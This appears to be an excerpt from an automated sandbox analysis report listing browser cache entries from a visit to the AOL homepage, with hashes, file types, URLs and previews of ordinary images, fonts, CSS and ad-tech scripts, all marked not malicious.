SHA1:	5BCB80C2AC50B4CA370BD07990E067B8EA9FBF2E
SHA-256:	D56DBD236846A0E078599DD6E9BD56E817FF32A1D51110E25F6A554BAD4E4037
SHA-512:	7C7F4B941FD18747FD4C5226ED2A44E5AFBB34A44223173EF78985A074B9422CAF4AAC538DFA1457C3FD3905FF93D80CB1F2C10AAF4FE00430C42F7B053286F3
Malicious:	false
Reputation:	low
Preview:	{"axid": "y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A"}

Chrome Cache Entry: 700

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1875
Entropy (8bit):	7.637559135927198
Encrypted:	false
SSDEEP:	48:wcnqcuCW3UhIRHSFdphg4VP3C7tPLJCqL:w1QVhaaJg4l3CPL
MD5:	9990CBE3D42806CAA253E5900EACA1E3
SHA1:	FF5F49D289B8FDFF74C76EA610A08A94EBAEBC52
SHA-256:	43FFDF526FA722A25074040EEC913637B47B849CEB4BB1C141AAEC76A966432E
SHA-512:	77403A8039159E7AD2F8671B29EFC533C57CB3414134F6CE2498ABA6563F5C7529535A8126B7A36F49C589CE29F6E45C871A6B3CD584FB6670F0B6C75808F0A5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL......................./Lu...\|.................................*Is...........................f\|......................................................................,\......................................................................................f..0....0.........................................,\........-S..,\...x.................................................................-].............................................................^..1.....0..0..V..e..x.....,\4Qye{......../^:V}_v.@\..6d.-].4b.=i!@l...E_....m..%Do.1`"Bm.:g...u..Mf.i~.2OwIc.......Pi.Sl.Wo.....7e...7T{...<X~/Mu........!=W8T{.....R.C.................cy.\|\|HFWQ..B...kpJ..X...IYP..P....9Y...dlKbjK...O.h..3...8Y...X..j....tRNS..2@,..`.........$..,. .........w.9.......F....R......:..........D.m.nbO......(...4...Z\.xy...!a.3C..i......tc..ki...4...4...........M..X..[S1...Kj@..............h..un....8

Chrome Cache Entry: 701

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 702

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14384)
Category:	downloaded
Size (bytes):	14416
Entropy (8bit):	5.234106051551521
Encrypted:	false
SSDEEP:	384:/X0DgCs4gl12VjhKCYCewgnSIAiV9Lh49:2gCC2VNECyBV9i9
MD5:	F2AB6F1F63DAEE3B6C02F8A6DEE4B17C
SHA1:	10B3836E748BBF3027ACE11E518CB4BA6CFB0493
SHA-256:	93EA0BA3522CCDAA6C108168A40889D6434B682C2B2EE0651264499C8624C678
SHA-512:	68B4B921F6875924C3E1C15BC411CD150C6104DEFB314802511AF46E13C276F8DC8D93CDFC1062380FE370AF7B30A75C595E4D7974DB5C4864B7C08A2BB4BB7F
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/gam.f2ab6f1f63daee3b.js
Preview:	!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():t.CAAS_AOLCOM=e()}(self,(function(){return function(){var t={5497:function(t){t.exports={dispatchCustomEvent:function(t,e){var n=document.createEvent("CustomEvent");n.initCustomEvent(t,!1,!1,e),document.dispatchEvent(n)}}},2830:function(t){t.exports={debounce:function(t,e,n){var i;return function(){for(var r=arguments.length,o=new Array(r),a=0;a<r;a++)o[a]=arguments[a];var s=this,u=n&&!i;clearTimeout(i),i=setTimeout((function(){i=null,n\|\|t.apply(s,o)}),e),u&&t.apply(s,o)}}}}},e={};function n(i){var r=e[i];if(void 0!==r)return r.exports;var o=e[i]={exports:{}};return t[i](o,o.exports,n),o.exports}n.d=function(t,e){for(var i in e)n.o(e,i)&&!n.o(t,i)&&Object.defineProperty(t,i,{enumerable:!0,get:e[i]})},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.r=function(t){"undefin

Chrome Cache Entry: 703

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	706
Entropy (8bit):	7.548477864749643
Encrypted:	false
SSDEEP:	12:6v/7gZbenw27lf9jGpJ9c7MMGt8d/su+eMmy87Gk1DoQWH5C3bX3/s:tZmmpJ9z89jy8qk1C5Cj0
MD5:	B12B87CFFDAE1BC42B921FCF2BD9CF4C
SHA1:	C707F3E68D75D36B21C4D11945EC0F104D0BFEBC
SHA-256:	F6747270DB8CA343F3A491FC790D6DFB6FB051723BC222566A7D292E6F4A8726
SHA-512:	D0FC28243CD89CE5EFE47A4E37C8F2EE293441CB3E7F71EF9690C754B3ECE0AAE42390E670AB0577F2AC781EC73C2C5C6C466985A5DAA0C23F27109CBB71F9B1
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...`.......j....-PLTE/../../../../../../.....H.....k..............N.F.....tRNS..W.0.%......>IDATX..1O.1..Oc..&...0..'0."R...- 8..`...H...qUL....3..^.Jh.oq...\.......xu.a.kd.m.:.-..\+.+.yba...++H..bi{...X.6.v.#....%._ .[a.&.8d@...Y....q.@.2.8.i..9.P..y.Pr..2 ....0.k<.p.^..(.i....F.@.9.(....h..z..zt.e...@...zJ..d....@.....@.k..5K.nG..3..E.5=...-..0.g...........XuU.C...h.?......o.@...=D.?.....A.e.....#i...SMe..M.....uCh..6...uY...XX.....#...k'. L...w.v8g.$.02.........oW.<..k.P......0....'"..e.....uk)...I4.A.#.j..S..nr$..X'.6$.7x.W.O.;.-..Gjn..].{....Gi.Y.\|P?..B?.8.A...`O.8.n.h...b.d.....^.......&tZ.N..%>yE......./........U..2.s]...b9..w.C....IEND.B`.

Chrome Cache Entry: 704

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (997), with no line terminators
Category:	downloaded
Size (bytes):	997
Entropy (8bit):	4.9230328087921045
Encrypted:	false
SSDEEP:	12:arWru7nRML5r3NIrrWrruID1hnEARGIIBB1jixFIKQMHd7nl1h5MHdpNoOgnj1jf:enwWohn1iBjjix+Ed7nl1jEdAHnj1jfn
MD5:	450CA5FA88D0486C2266F6F81538EF77
SHA1:	3D301F6251CA4B4A98B1A919EC7968C7E8ACBAFB
SHA-256:	831F4C19FE9B3C11E2EADA95D6E30E6CC8AC8EDAADE86BD57ABBE1B7EF27F737
SHA-512:	A6924967C639A6D08B82A5128372D94FC98DBBD106942ACD41A58A7AC827D0A6A05EBCB0A3969CCD38EE0634CBD89E5D32A9BE78CD3B3840D37293A4750A68A4
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/td-app-aol-production/assets/v1/css/layout/homepage_v2.450ca5fa.css
Preview:	.MainCanvas--grid .RightRail{padding:0;margin-top:0;position:relative}.MainCanvas--grid .RightRail.home{margin-top:0}@media screen and (min-width:901px){.MainCanvas--grid .RightRail>div{width:300px;position:absolute;left:0}}.MainCanvas--grid .RightRail--sticky>div{left:unset}.MainCanvas--grid .Mainwrap{padding:0}.multi-col--dl{width:unset}.multi-col--dl>*{padding:0;width:unset}@media screen and (max-width:900px){html:not(.smartphone) .multi-col--dl .rmp-module__dl{padding:0 .625rem}}.multi-col--dl .rmp-module__gam{width:300px;display:none;position:relative}.multi-col--dl .rmp-module__gam .m-gam__container,.multi-col--dl .rmp-module__gam .m-static-gam{position:static}@media screen and (min-width:901px){.multi-col--dl .rmp-module__gam{display:block}.multi-col--dl .rmp-module__gam .m-gam__container,.multi-col--dl .rmp-module__gam .m-static-gam{width:300px;position:absolute;z-index:100;top:0;left:0}}@media screen and (min-width:1281px){.multi-col--dl .rmp-module__dl{margin-bottom:10px}}

Chrome Cache Entry: 705

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3781)
Category:	downloaded
Size (bytes):	3782
Entropy (8bit):	4.7189732543631795
Encrypted:	false
SSDEEP:	48:hHag3AnUxDPtJZ6ldeEeZeci/CUQeteiHQedebeQe+eTWf4pw83cMV0Yb1hDXjRT:hFOUxDtHdyCUPoY0SHDXj4BVoxXr
MD5:	D4D5F0CA914CB06961C85BFC973D287D
SHA1:	4345EA82F9C943207A0E7CB16E1F642135180C1B
SHA-256:	1E9800CC0260AD3AF16A4071D016EEA717CF5813F3F43F286380F8045C1DECC3
SHA-512:	A8577E86D145B1F82B56FF450653CCF0246AAF34989A0CF00618CACBDCF798D327389F0321B3A1D32F258BF6A9638F7A50BD441D4BDBA95BC092E5BFECF6C261
Malicious:	false
Reputation:	low
URL:	https://players.brightcove.net/videojs-ima3/5.4.2/videojs-ima3.css
Preview:	.vjs-ad-playing.vjs-ad-playing .vjs-progress-control{pointer-events:none}.vjs-ad-playing.vjs-ad-playing .vjs-play-progress{background-color:#ffe400}.vjs-ad-playing .vjs-captions-button{display:none}.vjs-ad-playing .vjs-audio-button{display:none}.vjs-ad-loading .vjs-loading-spinner{display:flex;justify-content:center;align-items:center;animation:vjs-spinner-show 0s linear .3s forwards}.vjs-ad-loading .vjs-loading-spinner:before,.vjs-ad-loading .vjs-loading-spinner:after{animation:vjs-spinner-spin 1.1s cubic-bezier(0.6, 0.2, 0, 0.8) infinite,vjs-spinner-fade 1.1s linear infinite}.vjs-ad-loading .vjs-loading-spinner:after{animation-delay:.44s}.vjs-ad-loading .vjs-big-play-button,.vjs-ad-loading .vjs-poster,.vjs-ad-content-resuming .vjs-big-play-button,.vjs-ad-content-resuming .vjs-poster{display:none}.vjs-ima3-ad-container{bottom:0;left:0;position:absolute;right:0;top:0;pointer-events:none}.vjs-ima3-html5 .vjs-ima3-ad-container>,.vjs-ima3-html5 .vjs-ima3-ad-container> iframe{width:100%

Chrome Cache Entry: 706

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 51136, version 4.262
Category:	downloaded
Size (bytes):	51136
Entropy (8bit):	7.996068039320485
Encrypted:	true
SSDEEP:	768:3FAe3jLcamvGqdjPpS+BWQ1NtA4Frabkw809wOATpLdvwRK30y+NI/N:Gezh+5BWu+4/w80VATpL184N
MD5:	B038FFC2A3543DB59D8B131CC5F9585D
SHA1:	2A6CC7CD51B8BEDB5E3A4592F3FBE453E61FC09D
SHA-256:	7C4AE269051112F0505305834F30773D1666F0506ECB7662E5578CA7CF21A72C
SHA-512:	C65089A20BBAEE798AD97CB32840CD9E0BDEDC5F29D16215B2F6E14E3DCDCE37F3C5B6D87C7A0565BD15067D00DBB3FBD350AFF6174E3FEED53929528C9C7B86
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Regular.woff2
Preview:	wOF2..............m\...g.........................@..f..t.`..R...@..$.6.$.....H.. ......[...DT".....U`\|[5`.y/'pn.K.Jw....].x.x.@@w.].bEH......z..r.M..a...A.F...Kn..KB..J....r.......vLM.f.....%....Y.\V.tIw.+.C...s...9.......{#.xF;}P.\..3....w.u{F7.......HAF. ..ABE..X......:..j&..v..ot...~..H.....u..8.........y.....}.6$..A.I...$...d%.&..N....e.>..+.7..m,..QA.......F.v.`.....C`....dZ....\|..=......}.N.#.........x=..K..%V....n....._ku.....]1..UMS.G5....!.P5SU.bx~n=...s.....[._..#.PRA.D.sVq.)..........Ei.........5......K..HD..@:...X..\...d6{.fAWc..!..W.@9.h:.........6m.....s..E.I.6.Gt.l..................Z..L......%Y......$t.......@p....b.a\|....?.L]R.....S..(..p.b0@:i.y.......L..}f.p..~...9.....y.......L~+Jj..*..$U.N.i3Ng.N...0...{n.!vCH..D...6..W.....T.P..2..[...)..a...3cp]...@?D_h3.C......N.G...mO......7........=..u.o..j..$.{.6.....z..^v..EQ...<qt4.F..(.F.(..(..n.^I.SE.ms.n.c..D.Y.!q.y.}.s.K4e..H6....me.Gx.1.T...n..0&.I~E#a.Kg^.h.R.I[E.I.i.l..o.

Chrome Cache Entry: 707

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3571
Entropy (8bit):	5.18132395054107
Encrypted:	false
SSDEEP:	96:q6JpFt1aJEWksKvLrfHeOl2sHy0HNUuuIHdtHD:qEFtSjOLzDtnaujbD
MD5:	68C88FDFDAB1E9A2A89D067DA6FE4CBA
SHA1:	3269DEADAEED9C03B120D01692DB3C71E18B9AE2
SHA-256:	A86A4FBE68F8CC2E5ACF789D9B1035873016C7F943B2478B315D01FB928BE25B
SHA-512:	7A51AC303273397E732AD69AE18C0EF9BD3AC07919ADCD161407FF626DAFE0DA27DB0446F43D822DEDCF1769C48C1D3B8E4C9CC514BCA3EB234D0B2D56C72B1B
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/js/main2.js
Preview:	if (!AolHelpGlobals) {..window.AolHelpGlobals = {};.}..AolHelpGlobals.idp.include = (AolHelpGlobals.idp.denylist.indexOf(AolHelpGlobals.brandId) === -1);..jQuery.extend(AolHelpGlobals, {..isMobile: function() {...return Modernizr.mq('(max-width: 744px)');..},..removeStyles: function(elem) {...if (!elem) {....elem = this;...}...$(elem).removeAttr('style');..},..getCookie: function(name) {.....var start=0,end=0,ck = document.cookie;.....if (ck.length>0) {.......start=ck.indexOf(name + '=');.......if (start!==-1) {.........start = start + name.length+1 ;.........end=ck.indexOf(';',start);.........if (end===-1) {..........end=ck.length;.........}...........return unescape(ck.substring(start,end));.......}.....}.....return '';...}..}.);....//----------------------.// AOL Client detection.//----------------------..(function(window, document, $, AH) {...// Borrowed from the auth plugin. var isOldAolClient = window.navigator.userAgent.indexOf('aol'),. .isNewAolClient = typeof window.exte

Chrome Cache Entry: 708

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2474)
Category:	downloaded
Size (bytes):	41150
Entropy (8bit):	5.32836800322513
Encrypted:	false
SSDEEP:	768:jh1KbpBz/i38NOlPM6V3tqUFIru9FITGH4ARR3iLjZJj1wjOfbXhbNvRfuKLBzd2:jh1KbP3B03t7GZG3iLjZJj1wjOfbXhbk
MD5:	03DD89B74FB02695DAFAD8B06F080B69
SHA1:	9405160A8CEAC347E575DBD0C508321AB5AB37CB
SHA-256:	5B9CFA0283D9A9F6A909DF2B61C9933C11130343F08AEC96CDD8F49C29972526
SHA-512:	F865528394AD972A618ECBD6CDC3555B81F65DDE612EEEFE27EE18761CA1A11B2CA3A52FF090CE0D9B200FB73734AD2CD3D8996CB0D284D2D2C017282461A108
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/omsdk/releases/live/omweb-v1.js
Preview:	;(function(omidGlobal) {. var m;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function p(a){var b='undefined'!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if('number'==typeof a.length)return{next:aa(a)};throw Error(String(a)+' is not an iterable or ArrayLike');}function r(a){if(!(a instanceof Array)){a=p(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}.var ba='function'==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},t='function'==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ca(a){a=['object'==typeof globalThis&&globalThis,a,'object'==typeof window&&window,'object'==typeof self&&self,'object'==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error('Cannot find global object');}var da=ca(this);func

Chrome Cache Entry: 709

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	138957
Entropy (8bit):	5.997419894694465
Encrypted:	false
SSDEEP:	1536:4yvoVTIoC5xdGIETffoynwoVjiC5xXTDyXr1f0y3oVm3CC5xWFY+32xAfS:FmTlN1TmXrjR30Fp32h
MD5:	0CB3F1513490E6610996A9FF1A61D061
SHA1:	439D2BF01D429CC9FFF755A6EB34137C13514F93
SHA-256:	61C7B16E7F67DC7C67E51C06D2DDC687FADE1DB74234628FD5F29EA960DC6CDA
SHA-512:	60412D64C704BCF545EEAA8D73DE63909E0071A213B2C81259CB09393C4FECBF0A3487C014E42024C9C09A4BF32F4DD74A649B5942DE89ED089D1B4343B4B55A
Malicious:	false
Reputation:	low
Preview:	{"/22888152279/us/aol/hp/dt/us_aol_hp_dt_top_center":["html",0,null,null,0,90,728,1,0,null,null,null,null,[["ID=901daf1da515941b:T=1716503712:RT=1716503712:S=ALNI_MZCKlCbVUAJiIwaUHVQ1LdAZ8Eyww",1750199712,"/","aol.com",1],["UID=00000e299a3fce0f:T=1716503712:RT=1716503712:S=ALNI_MZx1W6op3jfR_BAjyr2hboTlj9-Vg",1750199712,"/","aol.com",2]],null,null,null,null,null,null,null,null,null,null,null,0,[676982996],null,null,null,null,null,"AOrYGslXqzWxZnMwa10HhsoG5C0a","CKOvrtDqpIYDFeCWgwcdbvYEKw",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,"AA-V4qN_QO9lxnaP0Mkkg8LSFGUQ_aRxtjP7aYELMg7xRAcxVeB8TUHrlJaf5_cUSXiJXMbnMuME",null,null,null,null,null,null,[["ID=379611bdd858b16c:T=1716503712:RT=1716503712:S=AA-AfjaaPcPxmVYDXdS67UfzFxu5",1732055712,"/","aol.com"]],[]]}..{"/22888152279/us/aol/hp/dt/us_aol_hp_dt_mid_center":["html",1,null,null,1,250,970,0,0,null,null,1,1,[["ID=901daf1da515941b:T=1716503712:RT=1716503712:S=A

Chrome Cache Entry: 711

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24797)
Category:	downloaded
Size (bytes):	41331
Entropy (8bit):	5.38180189774426
Encrypted:	false
SSDEEP:	768:gf8/g/Nl/s/s+s1Rfo0B2FwYLWdYKriRzCsvFvCuQ:gfUoNl0s00fLrDuCuQ
MD5:	D2F0A3E43C6A222369CF67CADEAF1955
SHA1:	A324CB190EAB49AF9DBEA0077B3F2074D8889CB4
SHA-256:	636A7FFE73C1F11B9AD6CFF881BA80975977A42D84CD7D9AA19207192D0FC3D5
SHA-512:	B59CAAF3C52551E22DA3EC13EDA64C4D7043C8883FE102C4B949000D168E35870133AD78B8362E8C3E0B0A8BF13F70B6A16FEF0490FEE257E368C0957F8AABE5
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.js
Preview:	var comments = 'User-Sync: generated: 2024-05-15 00:30:00 PDT';.var rtb_sync = {"consent_rate":100,"reset_rate":0,"ttl":14,"sample":100,"max_pixels":16,"pixel_sets":{"rtb":{"sample":100,"pixels":{"1185":{"ttl":7,"img":"https:\/\/ad.turn.com\/r\/cs?pid=6","secure":{"img":"https:\/\/ad.turn.com\/r\/cs?pid=6"},"priority":7,"partner":"amobee"},"1902":{"priority":17,"ttl":2,"img":"https:\/\/cms.quantserve.com\/pixel\/p-e4m3Yko6bFYVc.gif?idmatch=0","secure":{"img":"https:\/\/cms.quantserve.com\/pixel\/p-e4m3Yko6bFYVc.gif?idmatch=0"},"partner":"quantcast"},"1986":{"priority":7,"ttl":1,"img":"https:\/\/ib.adnxs.com\/getuidnb?http%3A%2F%2Fpixel.rubiconproject.com%2Ftap.php%3Fv%3D4894%26nid%3D1986%26put%3D$UID%26expires%3D30","secure":{"img":"https:\/\/secure.adnxs.com\/getuidnb?https%3A%2F%2Fpixel.rubiconproject.com%2Ftap.php%3Fv%3D4894%26nid%3D1986%26put%3D$UID%26expires%3D30"},"partner":"xandr"},"2046":{"priority":13,"ttl":7,"img":"https:\/\/token.rubiconproject.com\/token?pid=2046&pt=n&a=1",

Chrome Cache Entry: 712

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5988)
Category:	downloaded
Size (bytes):	6031
Entropy (8bit):	4.960194596326913
Encrypted:	false
SSDEEP:	48:fvbpY8mdDBR8S6yrFVRcMVeeUzbVyoR8446hqTt6tMt0wItF7t3B4tOGmfd7miEJ:fTR2wFuc+0hHgSf1CVh
MD5:	7EA76F4EC7BD00CE6A39CFD1BF3916B4
SHA1:	6DCCF895C035CEDD93CDFDE935213CFC43356D93
SHA-256:	CA22B58112AC8D3AC9F1A9FBD0D58A72858B9BF55E612B71DEF9CC3D9E678A22
SHA-512:	A722519DA494DE8D552E686EBA9C9D1EB8F9985A53A9BFDBB95D9D4B3A403F964CF288D032BD416984E3F866C4F5EC091ECAB444C55D67BC135C70B5202D7F3F
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/aol_footer.7ea76f4ec7bd00ce.css
Preview:	.ie-11 .m-AolFooter .logo-wrap{min-height:65px}.ie-11 .m-AolFooter .links-foot{width:70%}.ie-11 .m-AolFooter .social-foot{width:30%}.ie-11 .m-AolFooter .social-foot .item{width:50px}.m-AolFooter{padding:0 20px;width:100%}.m-AolFooter .container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;max-width:1400px;width:100%;position:relative}.m-AolFooter .container:not(.cell){margin:0 auto 36px}.m-AolFooter .container .logo-wrap{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1;flex:1;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start;margin-bottom:32px;-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1;padding:15px 0 12px;width:100%;border-bottom:1px solid #e0e4e9}.m-AolFooter .container .logo-wrap .logo svg{fill:#000100;height:3

Chrome Cache Entry: 713

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1647
Entropy (8bit):	4.792185890842066
Encrypted:	false
SSDEEP:	48:/Bz2K/wLWz2K/wU2tR96kaprwzujY9IHtQFL0y:92K/j2K/SRMwj
MD5:	ABBA7D60C3E8FC1C96EC886E0347A5BF
SHA1:	01D21AC2769D24734F18DBA6B42D8F9A0FF47169
SHA-256:	1B1EDDC894ADA2128169A321BFE0006F7BDACAE0514553577CC97141E569BFB8
SHA-512:	B0724AFDB792581BAAA6B4D1E4ABC2EB7CA6F03B2A641D8334BD348E9D40CC176F83971A4FE2B81AE22B568450B4FAE0BE85BCD571A30D651489F8A52132E229
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M46 17.2308C46 25.6923 39.2308 32.4615 30.7692 32.4615H11.3077C6.23077 32.4615 2 28.2308 2 23.1538C2 18.0769 6.23077 13.8462 11.3077 13.8462C12.8308 13.8462 14.3538 14.1846 15.7077 15.0308C16.8923 7.58462 23.1538 2 30.7692 2C39.2308 2 46 8.76923 46 17.2308Z" fill="url(#paint0_linear_104_408)"/>.<path d="M46 17.2308C46 25.6923 39.2308 32.4615 30.7692 32.4615H11.3077C6.23077 32.4615 2 28.2308 2 23.1538C2 18.0769 6.23077 13.8462 11.3077 13.8462C12.8308 13.8462 14.3538 14.1846 15.7077 15.0308C16.8923 7.58462 23.1538 2 30.7692 2C39.2308 2 46 8.76923 46 17.2308Z" fill="#7DCBFF" fill-opacity="0.05"/>.<path d="M41.914 42.9716C41.3016 45.2271 39.0562 46.4573 37.0149 45.8422C34.7695 45.2271 33.5447 42.9716 34.1571 40.9211C34.5654 38.8706 39.6686 36 39.6686 36C39.6686 36 42.5264 40.9211 41.914 42.9716Z" fill="#12A9FF"/>.<path d="M27.914 42.9716C27.3016 45.2271 25.0562 46.4573 23.0149 45.8422C2

Chrome Cache Entry: 714

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=sovrn&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=ItNLAQZHfit0Ml6gQsWPeZ0W&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 715

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 348 x 306, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14835
Entropy (8bit):	7.954001043786994
Encrypted:	false
SSDEEP:	384:gEqF3cONAG6VBnj+PKWQ6g9ixMO6pCnMGAq0M+/o3:ydcoF63j+izwDnMGR0M+/m
MD5:	530BCB090A875C0F904C395456A90B43
SHA1:	136F8117B89320679380320668FD69F5331DE8D7
SHA-256:	2D11F8B1A72D1D9AECE3A6DDA3FD06F48ED5131CF15EEF6D9046FD3F94663EA5
SHA-512:	0A88F05E1B3BCA7672E2C52FD7BAFB852902D17DE0835BB933958AA3B1295664BD46C66619FA883246E98914F1AE148AA31C23FCF6B7FEC00B61750E0EAB1407
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\...2.......h...9.IDATx.._...u.OU.eK..-..%.%..J2......T....V.....4.6A...B.x.{A.I`x..E.X...H....G....E.@"ee...(.U4$..g8......s....T.[].].]]...fw.[].....w.=.!.f...~?....(^..+$rB...#.f5.....-.!.Z..m..#,.~...rNF..I./h..\.j\|.....Gi..uO..kO..-.G...e....;L...;.....@....V../.......g..........Z..........z........Y .Z....K..b{.j.H....0E.....A~.'&g)K.......g{..^@..&...L..?.....%.K"....6.r.Jsx....&.....D..l..O3.D..3.@.....jEE.,.....p.L\|...Z...ZH....1E+......vX..50.s%..?..w..m.b.:H....+..=p. ...............\...?'.s{..%p.).e.M.=...O.u).X.9.&.#.=i.].rN.#........\.n&....\|.:..q.....$.,...8.e.d..Zg!....=.EKN"...D.....i....<ZH..}..U~...}.u.a\|.u....Y.X[..^IHj....&VHr.T.BP(.T......X......88,..=2.6C:.v.....UF.>E.MF.."..C..J..../.........Cg...\|.G..p....5...o.L.\|.]..m..l1.W...}..`..J".g..Sm.Y.....".X.H>...k..I..@..7..z,......o..O}..7.............N.t{,.sd/..g<....&:b.8..u......(%.[.D..F.....g..J.....N~..2..C.~....7M]....Q-.H,2.3]..<#./.]0@.........

Chrome Cache Entry: 716

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	32127
Entropy (8bit):	7.963621868464086
Encrypted:	false
SSDEEP:	768:2fMnHK9zaPiBEO4bG2xpG2MTRYGPJGmCtr7Iw5u+OzIp4:2AouPimO4Z7deRFwb/B55PO
MD5:	D92DD492F17654D1EE99ECCA05DB782C
SHA1:	5F409AD8B2C2112AB111EF9C2EA4FC5BE315C7EF
SHA-256:	93B60D123AD72BD4DD741E6E7D12E733B5B98C57BE28A1FDC8B3B8E656551B0B
SHA-512:	F88BE8C42BF8EE442782EBD998FE87B2D541633227B074F82E648E8731F71E248A24A2A9A1A97CD612AE298547EACDD4E537A8DC36B274B1B41F1CD4BD2EA8A8
Malicious:	false
Reputation:	low
Preview:	......JFIF.............@ICC_PROFILE......0ADBE....mntrRGB XYZ .........3.;acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 2000 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../..............................................!...!.1&""&18/-/8D==DVQVpp.......................$.....$6"(""("60:/,/:0VD<<DVdTOTdylly............,.,.............5....................................................................yCc....[x.n...j.4.zO[..hI..cAa..'.i..E.-D..\a...C.....````````x.....u.^..z...\|-^6....<.1azWK)e.t.'O.nrt\|m6'I...+{..5>................M..KM_P.}...:I.N.......-K...o.Q...

Chrome Cache Entry: 717

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65354)
Category:	dropped
Size (bytes):	98590
